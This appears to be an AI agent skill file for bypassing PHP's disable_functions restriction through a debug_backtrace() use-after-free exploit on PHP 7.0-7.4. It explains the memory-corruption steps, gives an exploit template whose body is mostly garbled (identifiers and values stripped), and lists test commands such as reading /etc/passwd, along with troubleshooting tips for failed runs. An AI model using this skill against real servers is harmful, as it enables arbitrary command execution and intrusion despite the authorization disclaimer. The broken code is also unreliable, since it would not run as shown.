| name | php-disable-functions-bypass |
| description | Bypass PHP disable_functions restriction using the debug_backtrace() UAF vulnerability (PHP 7.0-7.4, *nix only). Use this skill when you need to execute system commands in PHP environments where functions like system(), exec(), shell_exec() are disabled. This is for authorized security testing and penetration testing only. Trigger this skill when the user mentions PHP disable_functions bypass, PHP UAF exploitation, PHP 7.x command execution, or any scenario involving restricted PHP function execution in a pentesting context. |
PHP disable_functions Bypass (PHP 7.0-7.4, *nix only)
Overview
This skill provides a method to bypass PHP's disable_functions configuration directive using a Use-After-Free (UAF) vulnerability in debug_backtrace(). This affects PHP versions 7.0 through 7.4 on *nix systems.
⚠️ SECURITY WARNING: This technique should only be used in authorized security testing and penetration testing scenarios. Unauthorized use may violate laws and regulations.
Vulnerability Details
How It Works
The exploit leverages a memory corruption vulnerability where debug_backtrace() returns a reference to a variable that has been destroyed. This allows an attacker to:
- Trigger a UAF condition through object destruction
- Leak memory addresses from the PHP heap
- Parse the ELF binary to find function addresses
- Overwrite function handlers to redirect execution to
system()
- Execute arbitrary system commands
Prerequisites
Before using this bypass, verify:
- PHP Version: 7.0 - 7.4 (check with
php -v or <?php phpinfo();)
- Operating System: *nix (Linux, BSD, macOS) - NOT Windows
- Target Functions:
system(), exec(), shell_exec(), passthru(), etc. are disabled
- Access: You have a PHP file upload or code execution vector
Usage
Basic Exploit Template
Create a PHP file with the following structure:
<?php
pwn("YOUR_COMMAND_HERE");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr() {
= ;
( = -; >= ; --) {
<<= ;
|= ([+]);
}
;
}
{
= ;
(=; < ; ++) {
.= ( & );
>>= ;
}
;
}
{
= ;
( = ; < ; ++) {
[ + ] = ( & );
>>= ;
}
}
{
, ;
(, , + - );
= (->a);
( != ) { %= << ( * ) - ; }
;
}
{
= (, , );
= (, );
= (, , );
= (, , );
( = ; < ; ++) {
= + + * ;
= (, , );
= (, , );
= (, );
= (, );
( == && == ) {
= == ? : + ;
= ;
} ( == && == ) {
= ;
}
}
(! || ! || !)
;
[, , ];
}
{
(, , ) = ;
( = ; < / ; ++) {
= (, * );
( - > && - < - ) {
= ();
( != )
;
} ;
= (, ( + ) * );
( - > && - < - ) {
= ();
( != )
;
} ;
+ * ;
}
}
{
= ;
= & ;
( = ; < ; ++) {
= - * ;
= (, , );
( == ) {
;
}
}
}
{
= ;
{
= ();
= (, , );
( == ) {
( + );
}
+= ;
} ( != );
;
}
{
= ((, ));
= ();
->a = ;
}
((PHP_OS, )) {
();
}
= ;
= [];
( = ; < ; ++)
[] = ((, ));
();
= [][][];
= ;
->b = { };
(() == || () == ) {
();
}
= (, );
= (, );
= - ;
(, , );
(, , );
(, , + );
(, , );
= (, );
= (, );
(!( = ())) {
();
}
(!( = ())) {
();
}
(!( = (, ))) {
();
}
(!( = ())) {
();
}
= ;
( = ; < ; += ) {
(, + , (, ));
}
(, , + );
(, + , , );
(, + , );
(->b)();
();
}
Quick Test Commands
Replace YOUR_COMMAND_HERE with:
pwn("id");
pwn("whoami");
pwn("uname -a");
pwn("cat /etc/passwd");
pwn("ls -la /");
Common Issues and Solutions
UAF Failed
If you see "UAF failed" error:
- Increase allocation count: Change
$n_alloc = 10; to $n_alloc = 20; or higher
- Check PHP version: Ensure you're on PHP 7.0-7.4
- *Verify nix platform: This exploit does not work on Windows
Binary Base Address Not Found
If you see "Couldn't determine binary base address":
- Check PHP version compatibility: Some PHP builds may have different memory layouts
- Try different PHP versions: The exploit works best on PHP 7.2-7.3
- Verify ELF parsing: The exploit assumes standard ELF format
Function Not Found
If you see "Couldn't get zif_system address":
- Verify function is actually disabled: Check
phpinfo() output
- Try alternative functions: The exploit can be modified to target other disabled functions
- Check PHP build: Some custom PHP builds may have different function table layouts
Alternative Bypass Methods
If this exploit doesn't work, consider:
- PHP 5.x bypasses: Different techniques for older PHP versions
- PHP 8.x bypasses: Newer PHP versions require different approaches
- Windows-specific bypasses: Different techniques for Windows environments
- Other PHP vulnerabilities: File inclusion, deserialization, etc.
References
Legal Disclaimer
This skill is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing any system you do not own.
